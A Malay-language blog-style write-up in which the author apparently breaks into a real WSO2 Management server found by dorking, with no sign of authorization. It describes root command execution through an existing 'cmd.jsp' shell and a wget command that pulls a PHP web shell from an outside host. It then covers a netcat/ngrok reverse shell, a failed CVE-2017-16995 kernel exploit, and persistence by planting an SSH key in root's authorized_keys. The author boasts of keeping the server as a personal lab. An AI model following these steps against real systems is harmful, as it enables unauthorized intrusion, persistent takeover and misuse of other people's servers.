Assalamualaikum, so harini nak buat writeup dari PoC [WSO2 Management] kepada SSH(berserta Privilege Escalation).
Disini saya telah berjaya meng-eksploitasi satu urls dengan menggunakan teknik dorking.
Setelah saya berjaya meng-eksploitasi urls tersebut, saya terus mencuba mendapatkan user dengan menggunakan whoami
.
Disini mungkin agak sedikit "LUCKY" apabila output yang tampil adalah "root".
Seperti biasa, saya akan mencuba untuk melakukan pencarian untuk mencari aplikasi yang tersedia seperti php, python, apache2, nginx, perl, wget dan curl. Sebelumnya php dan apache2 tidak tersedia di dalam server. Kemudian saya cuba untuk menginstall secara direct melalui basic unix command disebabkan privilege yang telah ada iaitu 'root', di bawah ini adalah output ditampilkan setelah saya berjaya menginstall package tersebut.
Seterusnya, saya ingin membuat back-connect, kerana shell yang tersedia iaitu "cmd.jsp" tidak memuaskan dan mungkin jalan kerja terlalu banyak. Lalu saya cuba memanggil php shell dengan menggunakan 'wget myshell.my/raw.txt -O corntoll.php'. Dibawah ini adalah tampilan setelah saya berjaya memanggil file php tersebut.
Dan dibawah ini adalah tampilan setelah saya berjaya mengexecute corntall.php
Seterusnya, saya terus membuat back-connect/reverse php shell tersebut.
Kemudian, saya listen seperti biasa menggunakan ngrok dan netcat.
Lalu, back-connect/reverse telah berjaya dilakukan.
Disini saya memanggil fully interactive TTYs menggunakan Python3. Seterusnya, saya cuba mendapatkan user.
Saya cuba untuk mendapatkan akses 'ROOT' daripada back-connect dengan cara mengeksploitasi CVE-2017-16995.
Tetapi ianya gagal setelah saya compile dan cuba untuk meng-eksploitasi kernel tersebut. Mungkin disebabkan version kernel server dan CVE agak berbeza tiga angka?
Disini saya juga telah mencuba membuat 'chown' dan 'chmod +x' untuk memastikan CVE tersebut mendapatkan akses permission yang lengkap namun gagal.
Jadi, saya cuba untuk menggunakan cara lain dimana saya telah mendapat idea untuk menggunakan SSH. Disini saya membuat semakan sama ada aplikasi SSH sedang berjalan ataupun tidak.
Ianya menunjukkan bahawa SSH tidak active, jadi saya mengaktifkan aplikasi SSH tersebut seperti yang dibawah.
Setelah servis SSH aktif, saya terus cuba login tapi gagal dengan error yang ditampilkan dibawah.
Jadi, saya cuba untuk generate ssh-key sendiri dan menambah public key tersebut ke file '/root/.ssh/authorized_keys' seperti yang ditampilkan.
Lalu, saya terus cuba untuk login daripada console Powershell.
Apabila melihat login SSH telah berjaya, saya terus melakukan semakan user menggunakan 'whoami'.
"BOOM!" root. Bukan sahaja akses root, malah saya juga telah mendapatkan akses direct kepada SSH. Sekarang ianya telah menjadi LABORATORY peribadi saya. Server itu juga telah dipointing kepada sub-domain saya sendiri.
Setelah melakukan penyiasatan dengan lebih lanjut, saya mendapati bahawa server tersebut menggunakan Tomcat Apache, dimana ianya menggunakan Java. Disitu, 'cmd.jsp' telah di eksploitasi untuk mendapatkan akses SSH root.
BIG THANKS TO PARI MALAM.